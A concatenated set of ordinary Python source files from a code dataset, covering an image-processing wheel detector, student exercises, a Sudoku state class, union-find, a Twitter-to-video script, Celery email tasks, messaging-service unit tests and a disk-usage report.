self.timeStop - self.timeStart\n print('Frame Processing Rate: {:.3} fps'\n .format(self.cntFrames / (totalTime - setupTime)))\n print('Setup Time: {:.3} s'.format(setupTime))\n print('Total Execution Time: {:.3} s'.format(totalTime))\n\n def plot(self, luminVals):\n plt.plot(ANGLE_VALS, luminVals)\n plt.plot(ANGLE_VALS, [LUM_THRESH_LOW] * INC_ANGLE_MAX, 'red')\n plt.plot(ANGLE_VALS, [LUM_THRESH_HIGH] * INC_ANGLE_MAX, 'red')\n\n for angle, lumin, state in zip(self.panels.angles, self.panels.lumins,\n self.panels.states):\n if state == STATE_ACTIVE:\n pointsActive, = plt.plot(angle, lumin, 's', mfc='black',\n mec='black', label='Active')\n elif state == STATE_ACTIVATING:\n pointsActivating, = plt.plot(angle, lumin, '^', mfc='black',\n mec='black', label='Activating')\n elif state == STATE_INACTIVE:\n pointsInactive, = plt.plot(angle, lumin, 'o', mfc='black',\n mec='black', label='Inactive')\n\n handles = []\n if STATE_ACTIVE in self.panels.states:\n handles += [pointsActive]\n if STATE_ACTIVATING in self.panels.states:\n handles += [pointsActivating]\n if STATE_INACTIVE in self.panels.states:\n handles += [pointsInactive]\n\n plt.xlabel('Angle [°]')\n plt.ylabel('Luminosity [0-255]')\n plt.legend(handles=handles)\n plt.show()\n\n # ---------- INITIAL SETUP AND PREPARATION ---------- #\n def recntrCap(self):\n startCoords = (round(FRAME_DIM/2 - CNTR_DIM/2 - CNTR_OFFSET[0]),\n round(FRAME_DIM/2 - CNTR_DIM/2 - CNTR_OFFSET[1]))\n endCoords = (round(FRAME_DIM/2 + CNTR_DIM/2 - R_DIM - CNTR_OFFSET[0]),\n round(FRAME_DIM/2 + CNTR_DIM/2 - R_DIM - CNTR_OFFSET[1]))\n maxLumin = 0\n\n for yTL in range(startCoords[1], endCoords[1], WHEEL_R_INC):\n for xTL in range(startCoords[0], endCoords[0], WHEEL_R_INC):\n newLumin = self.calcSqrLumin((xTL, yTL), R_DIM)\n if maxLumin < newLumin:\n maxLumin = newLumin\n wheelCntr = (xTL + R_DIM/2 + CNTR_OFFSET[0],\n yTL + R_DIM/2 + CNTR_OFFSET[1])\n self.cap.setCropCntrFm(wheelCntr)\n\n def initPanels(self):\n while self.cap.updateBW() and self.panels is None:\n luminVals = []\n for angle in ANGLE_VALS:\n luminVals += [self.calcLuminAngle(angle)]\n self.findPeaks(luminVals)\n peaks = self.calcPeaks()\n if len(peaks) == 1:\n index = int(peaks[0])\n self.panels = self.Panels(index * ANGLE_INC, luminVals[index],\n self.calcRotDir(index * ANGLE_INC))\n\n def calcRotDir(self, angleActivating):\n angleDiff = anglePrev = 0\n for i in range(WHEEL_ROTDIR_CNT + 1):\n luminVals = []\n for angle in range(angleActivating - ANGLE_ESTIMATE_DIST,\n angleActivating + ANGLE_ESTIMATE_DIST,\n ANGLE_INC):\n luminVals += [self.calcLuminAngle(angle)]\n\n angleNew = self.findPeaks(luminVals)[0]\n if i != 0:\n angleDiff += self.calcDiffAngle(angleNew, anglePrev,\n ANGLE_ESTIMATE_DIST,\n 2 * ANGLE_ESTIMATE_DIST)\n anglePrev = angleNew\n self.rotDir = -1\n\n def calcPeaks(self, angle, range):\n pass\n\n\n def calcDiffAngle(self, angleNew, anglePrev, proximity, range):\n diff = angleNew - anglePrev\n if abs(diff) <= proximity:\n pass\n elif diff <= -range:\n diff\n return\n\n # ---------- CORE ALGORITHM EXECUTION ---------- #\n def calcSqrLumin(self, coordsTL, dim):\n cntPixels = 0\n cntWhites = 0\n for y in range(round(coordsTL[1]), round(coordsTL[1] + dim)):\n for x in range(round(coordsTL[0]), round(coordsTL[0] + dim)):\n cntPixels += 1\n if self.cap.frame[y][x]:\n cntWhites += 1\n return round(LUM_MAX * cntWhites / cntPixels)\n\n def calcLuminAngle(self, angle):\n angle *= DEG_TO_RAD\n xTL = FRAME_DIM/2 + MASK_RAD * sin(angle) - MASK_DIM/2\n yTL = FRAME_DIM/2 - MASK_RAD * cos(angle) - MASK_DIM/2\n return self.calcSqrLumin((xTL, yTL), MASK_DIM)\n\n def findPeaks(self, vals):\n peakIndices, _ = find_peaks(vals + vals[0:1],\n height=(LUM_THRESH_LOW, LUM_MAX))\n peaks = []\n for peakIndex in peakIndices:\n peaks += [peakIndex % len(vals)]\n return peaks\n\n # ---------- OLD AND DEPRICATED ---------- #\n # def isInNbhd(self, newAngle, angles, distThresh):\n # for angle in angles:\n # dist = (newAngle - angle) % ANGLE_MAX\n # if (dist <= distThresh) or (ANGLE_MAX - dist <= distThresh):\n # return True\n # return False\n # def processPeaks(self, peaks, luminVals):\n # # self.processPeaks(peaks, luminVals)\n # #\n # # if (0 <= self.panelCntActive <= 3) and (STATE_ACTIVATING in\n # # self.panelStates):\n # # self.estimateInactives(luminVals)\n # #\n # # if (0 <= self.panelCntActive <= 4) and (STATE_ACTIVATING in\n # # self.panelStates):\n # # self.wheelStatus = STAGE_SHOOT\n # # elif self.panelCntActive == 0:\n # # self.wheelStatus = STAGE_PREP\n # # elif self.panelCntActive == 5:\n # # self.wheelStatus = STAGE_DONE\n # # elif len(self.panelAngles) > 5:\n # # print('Debug! More than 5 panels detected:', self.panelAngles)\n # # if self.showPlot:\n # # self.plot(luminVals)\n # self.panelAngles, self.panelDenss, self.panelStates = [], [], []\n # self.panelCntActive = 0\n # self.panelActivatingAngle = None\n #\n # if len(peaks) > 0:\n # for peak in peaks:\n # # TODO: CHECK THESE CONDITIONS FOR PERIODIC BOUNDARIES\n # if (peak+INC_ANGLE_MAX in peaks or peak > INC_ANGLE_SEP-2\n # and peak <= INC_ANGLE_MAX):\n # self.panelAngles += [(round(peak) * ANGLE_INC) %\n # ANGLE_MAX]\n # self.panelDenss += [luminVals[round(peak) %\n # INC_ANGLE_MAX]]\n # self.panelStates += [STATE_ACTIVE]\n # self.panelCntActive += 1\n #\n # indexMin = min(range(self.panelCntActive),\n # key=self.panelDenss.__getitem__)\n # if (self.panelCntActive < 5) or (self.panelDenss[indexMin]\n # <= LUM_THRESH_HIGH):\n # self.panelStates[indexMin] = STATE_ACTIVATING\n # self.panelActivatingAngle = self.panelAngles[indexMin]\n # self.panelCntActive -= 1\n","sub_path":"vision/power_rune/wheel_vision.py","file_name":"wheel_vision.py","file_ext":"py","file_size_in_byte":15117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"622537705","text":"'''\n\n NAMA = RIVALDO ISMIR\n NIM = A11.2019.12106\n KELOMPOK = A11.4118\n\n'''\n# CODE\nscore = int(input(\"Masukan Score : \"))\nstars = 0\nif score >= 80:\n stars = 3\nelif score >= 60 :\n stars = 2\nelif score >= 0:\n stars = 1\nprint(\"Selamat Anda mendapatkan bintang: \",stars)","sub_path":"daspro_5/tugas/PDP_04_2.py","file_name":"PDP_04_2.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"584748240","text":"class Solution:\n def getRow(self, rowIndex):\n if rowIndex == 0:\n return [1]\n else:\n prev = self.getRow(rowIndex - 1)\n answer = []\n for i in range(len(prev)-1):\n answer.append(prev[i] + prev[i+1])\n answer.append(1)\n answer.insert(0, 1)\n return answer\n\n\n\n\nnums1 = [3, 4, 0, 2]\nfunction = Solution()\nfunction.getRow(4)","sub_path":"Array/problem119/pascal_triangle.py","file_name":"pascal_triangle.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"110515587","text":"\"\"\"\n\nUtiliza algumas medidas de comparação de ruído e qualidade de imagem para comparar slices\nreconstruídos a partir de métodos diferentes\n\n\n\"\"\"\n\nimport numpy as np\nimport cv2\nimport os\nimport pydicom\nimport imageio\nimport math\nimport cv2\n\nfrom skimage.measure import compare_ssim as ssim\nfrom skimage.measure import compare_psnr as psnr\n\ndef load_img(path):\n\treturn imageio.imread(path)\n\ndef scaling(vet, max_):\n\t#vet = (vet-np.amin(vet))/(np.amax(vet)-np.amin(vet)) * 255#65535\n\tvet = (vet / max_) * 255\n\treturn vet\n\n\ndef psnr_(img1, img2):\n mse = np.mean( (img1 - img2) ** 2 )\n if mse == 0:\n \treturn 100\n \n PIXEL_MAX = 255.0\n return 20 * math.log10(PIXEL_MAX / math.sqrt(mse))\n\t\n\ninputdir = '../input/stage_2_test_images/'\noutdir = './'\n#os.mkdir(outdir)\n\n#test_list = [ f for f in os.listdir(inputdir)]\n\n#for f in test_list[:10]: # remove \"[:10]\" to convert all images \n\n\n\n# Faz a mesma normalização dos alemães\n#img = img * ( 65534 / np.amax( img ) )\n#img = img.astype('uint16')\n#print(img.dtype)\n\n\n\n\n\n\"\"\"\nssim_value = ssim(label, img2) # Near to 1 is better\nprint(ssim_value)\n\npsnr = psnr(label, img2)\t# Higher is better\nprint(psnr)\n\nexit()\n\n\n\nprint(np.amax(img2))\nprint(np.amin(img2))\n\nprint(np.amax(img1))\nprint(np.amin(img1))\n\nprint(img1.dtype)\nprint(img2.dtype)\n\"\"\"\n\nbase = 80\ntable = np.zeros((4, 20))\n\npsnr_parker_medio = 0\npsnr_rna_medio = 0\nssim_parker_medio = 0\nssim_rna_medio = 0\nfor i in range(0, 20):\n\n\tprint(\"Calculando para imagem \" + str(base+i))\n\n\n\tlabel = load_img(\"slices/slice_label_\"+str(base+i)+\".png\")\n\timg1 = load_img(\"slices/slice_before_training_\"+str(base+i)+\".png\")\n\timg2 = load_img(\"slices/slice_after_training_\"+str(base+i)+\".png\")\n\n\tlabel = label[0:300, 700:1250]\t\n\tmax_label = np.amax(label)\n\n\timg1 = img1[0:300, 700:1250]\t\t\n\tmax_img1 = np.amax(img1)\n\n\timg2 = img2[0:300, 700:1250]\t\t\n\tmax_img2 = np.amax(img2)\n\t\n\tmax_label_img1 = np.amax([max_label, max_img1])\n\tmax_label_img2 = np.amax([max_label, max_img2])\n\t\n\timg1 = scaling(img1, max_label_img1)\n\timg2 = scaling(img2, max_label_img2)\n\tlabel_img1 = scaling(label, max_label_img1)\n\tlabel_img2 = scaling(label, max_label_img2)\n\n\tlabel_img2 = label_img2.astype('uint8')\n\tlabel_img1 = label_img1.astype('uint8')\n\timg1 = img1.astype('uint8')\n\timg2 = img2.astype('uint8')\t\n\n\tfrom PIL import Image\n\timport numpy as np\n\t\n\t#img = Image.fromarray(img1)\n\t#img.save('my.png')\n\t#img.show()\t\n\n\t# SSIM_Ruidosa\n\tssim_value = ssim(label_img1, img1)\n\ttable[0,i] = ssim_value\n\tssim_parker_medio += ssim_value\n\n\t# SSIM_RNA\n\tssim_value = ssim(label_img2, img2)\n\ttable[1,i] = ssim_value\t\t\n\tssim_rna_medio += ssim_value\n\n\t# PSNR ruidosa\n\tpsnr_value = psnr(label_img1, img1)\n\ttable[2,i] = psnr_value\n\tpsnr_parker_medio += psnr_value\n\n\t# PSNR RNA\n\tpsnr_value = psnr(label_img2, img2)\n\ttable[3,i] = psnr_value\t\n\tpsnr_rna_medio += psnr_value\n\nprint(ssim_parker_medio/20)\nprint(ssim_rna_medio/20)\nprint(psnr_parker_medio/20)\nprint(psnr_rna_medio/20)\n\n","sub_path":"ConeDeepLearningCT2/comparasion_slices.py","file_name":"comparasion_slices.py","file_ext":"py","file_size_in_byte":2943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"73030702","text":"from src.interface.Sudoku.Generator import Generator\nfrom collections import defaultdict\nimport re\n\n\nclass State(object):\n\n def __init__(self, difficulty='medium'):\n difficulties = {\n 'easy': (35, 0),\n 'medium': (81, 5),\n 'hard': (81, 10),\n 'extreme': (81, 15)\n }\n\n self.difficulty = difficulties[difficulty]\n self.gen = Generator(difficulty)\n self.full_board = self.gen.board.copy()\n\n self.gen.reduce_via_logical(self.difficulty[0])\n if self.difficulty[1] != 0:\n self.gen.reduce_via_random(self.difficulty[1])\n\n self.sparce_board = self.gen.board.copy()\n\n @property\n def solved(self):\n return self.full_board == self.sparce_board\n\n @property\n def board(self):\n board = defaultdict()\n for cell in self.sparce_board:\n if cell.value != 0:\n board[\"id{}\".format(cell.id)] = cell.value\n else:\n board[\"id{}\".format(cell.id)] = \"canvas\"\n\n return board\n\n def __setitem__(self, idx, value):\n idx = re.findall(\"id([0-9]+)\", idx)[0]\n self.sparce_board[int(idx)] = value\n\n\nif __name__ == \"__main__\":\n State()\n","sub_path":"src/interface/State.py","file_name":"State.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"146087451","text":"class UnionFind:\n\tdef __init__(self):\n\t\tself.o2leader = {}\n\t\tself.leader2oset = {}\n\n\tdef add(self, o):\n\t\tself.o2leader[o] = o;\n\t\tself.leader2oset[o] = set([o]);\n\n\tdef union(self, o1, o2):\n\t\tleader1 = self.o2leader[o1];\n\t\tleader2 = self.o2leader[o2];\n\t\tif leader1 == leader2:\n\t\t\traise 'oops';\n\t\tleader1set = self.leader2oset[leader1];\n\t\tleader2set = self.leader2oset[leader2];\n\t\tif len(leader1set) > len(leader2set):\n\t\t\tfor o in leader2set:\n\t\t\t\tself.o2leader[o] = leader1;\n\t\t\t\tleader1set.add(o);\n\t\t\tdel self.leader2oset[leader2];\n\t\telse:\n\t\t\tfor o in leader1set:\n\t\t\t\tself.o2leader[o] = leader2;\n\t\t\t\tleader2set.add(o);\n\t\t\tdel self.leader2oset[leader1];\n\n\tdef find(self, o):\n\t\treturn self.o2leader[o];\n","sub_path":"algo2-clustering/unionfind.py","file_name":"unionfind.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"472811108","text":"import logging\n\nimport requests\n\nlogger = logging.getLogger('parser.main')\n\n\ndef check_for_redirect(response: requests.models.Response):\n \"\"\"Проверяет наличие редиректа.\"\"\"\n if response.history:\n raise requests.exceptions.HTTPError\n\n\ndef get_response(url: str) -> requests.models.Response:\n \"\"\"получает ответ на запрос по url.\"\"\"\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0',\n }\n response = requests.get(url=url, headers=headers, verify=False) # noqa: S501\n response.raise_for_status()\n check_for_redirect(response)\n return response\n","sub_path":"bookfetcher.py","file_name":"bookfetcher.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"609672808","text":"#!/usr/bin/env python\r\n# encoding: utf-8\r\n# Copyright 2018 Haoxuan Jia hxjia@bu.edu\r\n\r\n\r\nimport tweepy #https://github.com/tweepy/tweepy\r\nimport json\r\nimport urllib.request\r\nimport os\r\nimport io \r\nimport PIL\r\nfrom PIL import Image\r\nfrom PIL import ImageDraw\r\nfrom PIL import ImageFont\r\n# Imports the Google Cloud client library\r\nfrom google.cloud import vision\r\nfrom google.cloud.vision import types\r\n\r\n# global list to hold the url got from tweepy and description got from clould vision\r\npicpaths = []\r\npiclabel = []\r\n\r\n#Twitter API credentials\r\nglobal consumer_key\r\nglobal consumer_secret\r\nglobal access_key\r\nglobal access_secret\r\n \r\n\r\ndef get_all_tweets(screen_name, tweet_num):\r\n print(\"downloading the images..\") \r\n #authorize twitter, initialize tweepy\r\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\r\n auth.set_access_token(access_key, access_secret)\r\n api = tweepy.API(auth)\r\n\r\n #detect if there is a internet problem or if the screen_name is wrong \r\n try:\r\n #make initial request for most recent tweets (200 is the maximum allowed count)\r\n new_tweets = api.user_timeline(screen_name = screen_name, count=tweet_num)\r\n except:\r\n print(\"Twitter is not responding, you might have entered a wrong twitter name or there's a problem with your internet\")\r\n os._exit(0)\r\n \r\n #create a fold to keep the images\r\n if not os.path.exists('pic'):\r\n os.mkdir('pic')\r\n \r\n #a list to keep all the tweet information\r\n alltweets = []\r\n\r\n n = 1\r\n \r\n #save most recent tweets\r\n alltweets.extend(new_tweets)\r\n \r\n #get the url of images and save them as image1.jpg, image2.jpg, ...\r\n for tweet in alltweets:\r\n entities = tweet._json['entities']\r\n if 'media' not in entities:\r\n continue\r\n else:\r\n media = entities['media']\r\n mediaurl = media[0]['media_url']\r\n picpath = 'pic/image' + str(n) + '.jpg'\r\n picpaths.append(picpath)\r\n urllib.request.urlretrieve(mediaurl, picpath)\r\n n = n + 1\r\n\r\ndef make_video():\r\n # use FFMPEG to create a video out of images in pic folder\r\n print(\"generating the video..\")\r\n os.system(\"ffmpeg -framerate 24 -r 1 -i ./pic/image%d.jpg -s 1080*1080 output.mp4\") \r\n\r\ndef get_label():\r\n #get labels information of the images from google cloud vision\r\n print(\"labeling the images..\")\r\n client = vision.ImageAnnotatorClient()\r\n for imagepath in picpaths:\r\n file_name = os.path.join(\r\n os.path.dirname(__file__),\r\n imagepath)\r\n with io.open(file_name, 'rb') as image_file:\r\n content = image_file.read()\r\n image = types.Image(content=content)\r\n\r\n #detect if there is a problem with the internet \r\n try:\r\n response = client.label_detection(image=image)\r\n labels = response.label_annotations\r\n except:\r\n print(\"Google Vision is not responding, there might be a problem with your internet\")\r\n os._exit(0)\r\n \r\n # get the description from the label information and put them three in a row\r\n descriptions = []\r\n description= '' \r\n num = 0\r\n row = 0\r\n for label in labels:\r\n description = description + '<' + label.description + '>'\r\n num = num + 1\r\n if num%3 == 0 or label == labels[-1]:\r\n descriptions.append(description)\r\n description = ''\r\n row = row + 1\r\n \r\n #add description to each of the images\r\n imageFile = imagepath\r\n im = Image.open(imageFile) \r\n font = ImageFont.truetype('LiberationSans-Regular.ttf', 24) \r\n draw = ImageDraw.Draw(im)\r\n for i in range(row): \r\n draw.text((0, 30*i), descriptions[i], (255, 0, 0),font = font) \r\n draw = ImageDraw.Draw(im) \r\n im.save(imagepath)\r\n\r\n# the whole process of making a video from images from tweets\r\ndef get_video(screen_name):\r\n get_all_tweets(screen_name, tweet_num)\r\n get_label()\r\n make_video()\r\n print(\"the video is ready, have a look at it\")\r\n \r\n \r\n#runing directly from this file \r\nif __name__ == '__main__':\r\n get_video(\"@Ibra_official\")\r\n\r\n","sub_path":"main program/tweets_video.py","file_name":"tweets_video.py","file_ext":"py","file_size_in_byte":4364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"532853585","text":"from time import sleep\n\nimport pytz\n\nfrom celery import shared_task\nfrom datetime import datetime, timedelta\n\nfrom django.contrib.auth.models import User\nfrom django.core.mail import EmailMultiAlternatives, mail_admins, mail_managers\nfrom django.template.loader import render_to_string\n\nfrom .models import Post, Category\n\n\n@shared_task\ndef news_create_notify(users_id: list, news_id: int):\n news = Post.objects.get(id=news_id)\n for user_id in users_id:\n if user_id:\n user = User.objects.get(id=user_id)\n html_content = render_to_string('news_create_notify.html',\n {'news': news,\n 'username': user.username,\n }\n )\n msg = EmailMultiAlternatives(\n subject=f'{news.post_title}',\n # body=news.post_content, # это то же, что и message\n from_email='epanisimov@yandex.ru',\n to=[user.email], # это то же, что и recipients_list\n )\n msg.attach_alternative(html_content, \"text/html\") # добавляем html\n msg.send()\n sleep(10)\n\n\n@shared_task\ndef news_weekly_notify():\n # post_datetime_filter = datetime.now(pytz.timezone('Europe/Moscow')) - timedelta(days=7)\n\n # notify_dict = {}\n # for category in Category.objects.all():\n # for subscriber in category.subscribers.all():\n # if subscriber not in notify_dict.keys():\n # notify_dict.update({subscriber: Post.objects.filter(post_category=category,\n # post_datetime__gte=post_datetime_filter)})\n # else:\n # notify_dict[subscriber] = notify_dict[subscriber].union(Post.objects.filter(post_category=category,\n # post_datetime__gte=post_datetime_filter)).order_by('post_datetime')\n #\n # subject = 'Подборка новостей за неделю'\n # for user, news in notify_dict.items():\n # html_content = render_to_string('news_weekly_notify.html',\n # {'news': list(news),\n # 'username': user.username,\n # }\n # )\n # msg = EmailMultiAlternatives(\n # subject=subject,\n # # body=news.post_content, # это то же, что и message\n # from_email='epanisimov@yandex.ru',\n # to=[user.email], # это то же, что и recipients_list\n # )\n # msg.attach_alternative(html_content, \"text/html\") # добавляем html\n # msg.send()\n # sleep(10)\n\n subject = 'Подборка новостей за неделю'\n body = 'Тестовая периодическая рассылка'\n msg = EmailMultiAlternatives(\n subject=subject,\n body=body, # это то же, что и message\n from_email='epanisimov@yandex.ru',\n to=['epanisimov@yandex.ru', 'egoranisimov@gmail.com'], # это то же, что и recipients_list\n )\n msg.send()\n sleep(10)\n\n\n\n# celery -A NewsPaper worker -l INFO -P eventlet - запуск задач\n# celery -A NewsPaper worker -l INFO --pool=solo - запуск задач по событию\n# celery -A NewsPaper.celery beat -l INFO - запуск задач по расписанию\n\n# celery -A NewsPaper.celery beat --loglevel=INFO\n","sub_path":"NewsPaper/NewsPaperApp/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":3702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"598849732","text":"import unittest\nimport json\n\nfrom httmock import urlmatch, HTTMock, response\nfrom pymod import AmsMessage\nfrom pymod import AmsServiceException\nfrom pymod import AmsSubscription\nfrom pymod import AmsTopic\nfrom pymod import ArgoMessagingService\n\nfrom amsmocks import SubMocks\nfrom amsmocks import TopicMocks\n\nclass TestSubscription(unittest.TestCase):\n def setUp(self):\n self.ams = ArgoMessagingService(endpoint=\"localhost\", token=\"s3cr3t\",\n project=\"TEST\")\n self.msg = AmsMessage(attributes={'foo': 'bar'}, data='baz')\n self.submocks = SubMocks()\n self.topicmocks = TopicMocks()\n\n def testPushConfig(self):\n # Mock response for POST pushconfig request\n @urlmatch(netloc=\"localhost\",\n path=\"/v1/projects/TEST/subscriptions/subscription1:modifyPushConfig\",\n method=\"POST\")\n def modify_pushconfig_mock(url, request):\n assert url.path == \"/v1/projects/TEST/subscriptions/subscription1:modifyPushConfig\"\n # Return two topics in json format\n return response(200,\n '{\"name\": \"/projects/TEST/subscriptions/subscription1\",\\\n \"topic\":\"/projects/TEST/topics/topic1\",\\\n \"pushConfig\":{\"pushEndpoint\":\"https://myproject.appspot.com/myhandler\",\\\n \"retryPolicy\":{\"type\":\"linear\", \"period\":300 }},\\\n \"ackDeadlineSeconds\": 10}',\n None, None, 5, request)\n\n # Execute ams client with mocked response\n with HTTMock(self.topicmocks.create_topic_mock,\n self.submocks.create_subscription_mock,\n self.topicmocks.get_topic_mock, modify_pushconfig_mock,\n self.submocks.get_sub_mock):\n topic = self.ams.topic('topic1')\n sub = topic.subscription('subscription1')\n self.assertEqual(topic.name, 'topic1')\n self.assertEqual(topic.fullname, '/projects/TEST/topics/topic1')\n assert isinstance(sub, AmsSubscription)\n self.assertEqual(sub.name, 'subscription1')\n self.assertEqual(sub.fullname, '/projects/TEST/subscriptions/subscription1')\n self.assertEqual(sub.push_endpoint, '')\n self.assertEqual(sub.retry_policy_type, '')\n self.assertEqual(sub.retry_policy_period, '')\n self.assertEqual(sub.ackdeadline, 10)\n resp = sub.pushconfig(push_endpoint='https://myproject.appspot.com/myhandler1')\n self.assertEqual(resp['pushConfig']['pushEndpoint'], \"https://myproject.appspot.com/myhandler\")\n self.assertEqual(resp['pushConfig']['retryPolicy']['type'], \"linear\")\n self.assertEqual(resp['pushConfig']['retryPolicy']['period'], 300)\n\n def testPull(self):\n # Mock response for POST pull from subscription\n @urlmatch(netloc=\"localhost\", path=\"/v1/projects/TEST/subscriptions/subscription1:pull\",\n method=\"POST\")\n def pull_mock(url, request):\n assert url.path == \"/v1/projects/TEST/subscriptions/subscription1:pull\"\n\n # Check request produced by ams client\n req_body = json.loads(request.body)\n assert req_body[\"maxMessages\"] == \"1\"\n return '{\"receivedMessages\":[{\"ackId\":\"projects/TEST/subscriptions/subscription1:1221\",\\\n \"message\":{\"messageId\":\"1221\",\"attributes\":{\"foo\":\"bar\"},\"data\":\"YmFzZTY0ZW5jb2RlZA==\",\\\n \"publishTime\":\"2016-02-24T11:55:09.786127994Z\"}}]}'\n\n @urlmatch(netloc=\"localhost\", path=\"/v1/projects/TEST/subscriptions/subscription1:acknowledge\",\n method=\"POST\")\n def ack_mock(url, request):\n assert url.path == \"/v1/projects/TEST/subscriptions/subscription1:acknowledge\"\n # Error: library returns json in the form {\"ackIds\": 1221}\n assert request.body == '{\"ackIds\": [\"1221\"]}'\n # Check request produced by ams client\n return '{}'\n\n # Execute ams client with mocked response\n with HTTMock(pull_mock, ack_mock, self.submocks.get_sub_mock,\n self.topicmocks.create_topic_mock,\n self.topicmocks.get_topic_mock,\n self.submocks.create_subscription_mock):\n topic = self.ams.topic('topic1')\n sub = topic.subscription('subscription1')\n assert isinstance(sub, AmsSubscription)\n self.assertEqual(topic.name, 'topic1')\n self.assertEqual(topic.fullname, '/projects/TEST/topics/topic1')\n self.assertEqual(sub.name, 'subscription1')\n self.assertEqual(sub.fullname, '/projects/TEST/subscriptions/subscription1')\n\n resp_pull = sub.pull(1)\n ack_id, msg = resp_pull[0]\n\n self.assertEqual(ack_id, \"projects/TEST/subscriptions/subscription1:1221\")\n self.assertEqual(msg.get_data(), \"base64encoded\")\n self.assertEqual(msg.get_msgid(), \"1221\")\n resp_ack = sub.ack([\"1221\"])\n self.assertEqual(resp_ack, True)\n\n def testDelete(self):\n # Mock response for DELETE topic request\n @urlmatch(netloc=\"localhost\", path=\"/v1/projects/TEST/subscriptions/subscription1\",\n method=\"DELETE\")\n def delete_subscription(url, request):\n return response(200, '{}', None, None, 5, request)\n\n # Execute ams client with mocked response\n with HTTMock(delete_subscription, self.topicmocks.create_topic_mock,\n self.submocks.create_subscription_mock,\n self.topicmocks.get_topic_mock, self.submocks.get_sub_mock):\n topic = self.ams.topic('topic1')\n sub = topic.subscription('subscription1')\n self.assertTrue(sub.delete())\n\n def testAcl(self):\n # Mock response for GET topic request\n @urlmatch(netloc=\"localhost\", path=\"/v1/projects/TEST/subscriptions/subscription1:modifyAcl\",\n method=\"POST\")\n def modifyacl_sub_mock(url, request):\n self.assertEqual(url.path, \"/v1/projects/TEST/subscriptions/subscription1:modifyAcl\")\n self.assertEqual(request.body, '{\"authorized_users\": [\"user1\", \"user2\"]}')\n # Return the details of a topic in json format\n return response(200, '{}', None, None, 5, request)\n\n # Mock response for GET topic request\n @urlmatch(netloc=\"localhost\", path=\"/v1/projects/TEST/subscriptions/subscription1:acl\",\n method=\"GET\")\n def getacl_sub_mock(url, request):\n assert url.path == \"/v1/projects/TEST/subscriptions/subscription1:acl\"\n # Return the details of a topic in json format\n return response(200, '{\"authorized_users\": [\"user1\", \"user2\"]}', None, None, 5, request)\n\n # Execute ams client with mocked response\n with HTTMock(self.topicmocks.create_topic_mock,\n self.topicmocks.get_topic_mock, getacl_sub_mock,\n self.submocks.get_sub_mock, modifyacl_sub_mock):\n topic = self.ams.topic('topic1')\n sub = topic.subscription('subscription1')\n ret = sub.acl(['user1', 'user2'])\n self.assertTrue(ret)\n resp_users = sub.acl()\n self.assertEqual(resp_users['authorized_users'], ['user1', 'user2'])\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/test_subscription.py","file_name":"test_subscription.py","file_ext":"py","file_size_in_byte":7518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"649248716","text":"def conversorMB(tamanhoEmBytes):\r\n tamanhoEmBytes = float(tamanhoEmBytes)\r\n return (float(tamanhoEmBytes / (1024 * 1024)))\r\n\r\n\r\ndef percentual(lista, total):\r\n percentual = (lista[3] / total) * 100\r\n lista.insert((len(cadaUsuario)), percentual)\r\n\r\n\r\ndef espacoOcupado(lista, total):\r\n media = 0\r\n elementos = len(lista)\r\n media = (total) / (elementos + 1)\r\n return media\r\n\r\n\r\nusuarios = []\r\nposicao = 1\r\ntotal = media = 0\r\nwith open('usuarios.txt', 'r') as arquivo:\r\n valor = 0\r\n for linha in arquivo:\r\n usuarios.append(linha.split())\r\n\r\n for cadaUsuario in usuarios:\r\n cadaUsuario.insert(0, posicao)\r\n valor = conversorMB(float(cadaUsuario[2]))\r\n total += valor\r\n cadaUsuario.insert((len(cadaUsuario)), valor)\r\n posicao += 1\r\n\r\n for cadaUsuario in usuarios:\r\n percentual(cadaUsuario, total)\r\n\r\nmedia = espacoOcupado(cadaUsuario, total)\r\n\r\nwith open('relatorio.txt', 'w') as arquivo:\r\n arquivo.write('ACME Inc. Uso do espaço em disco pelos usuários.\\n')\r\n arquivo.write('--------------------------------------------------------------\\n')\r\n arquivo.write('Nr.\\tUsuário \\tEspaço utilizado\\t% do uso\\n\\n')\r\n\r\n for cadaUsuario in usuarios:\r\n percentagem = '{0:.2f}'.format(round(cadaUsuario[3], 2))\r\n arquivo.write(str(cadaUsuario[0]) + \" {:<15}\\t \".format(cadaUsuario[1])+\"{}\".format(percentagem) + ' MB\\t\\t\\t' + \"{0:.2f}\".format(cadaUsuario[4]) + '%' + '\\n')\r\n\r\n arquivo.write('\\n\\nEspaço Total Ocupado: ' + '{0:.2f}'.format(total) + ' MB')\r\n arquivo.write('\\n\\nEspaço médio Ocupado: ' + '{0:.2f}'.format(media) + ' MB')\r\n arquivo.close()\r\n\r\nwith open('relatorio.txt', 'r') as arquivo:\r\n print(arquivo.read())","sub_path":"questao01.py","file_name":"questao01.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"164557616","text":"import numpy as np\nimport cv2\nimport sys\nfrom os import path\n#from matplotlib import pyplot as plt\nfrom imutils import integrate, integral_image\n\ndef isGood(q,p,img):\n nhood = np.array([30,30])\n nhood[0] = np.max([2 * 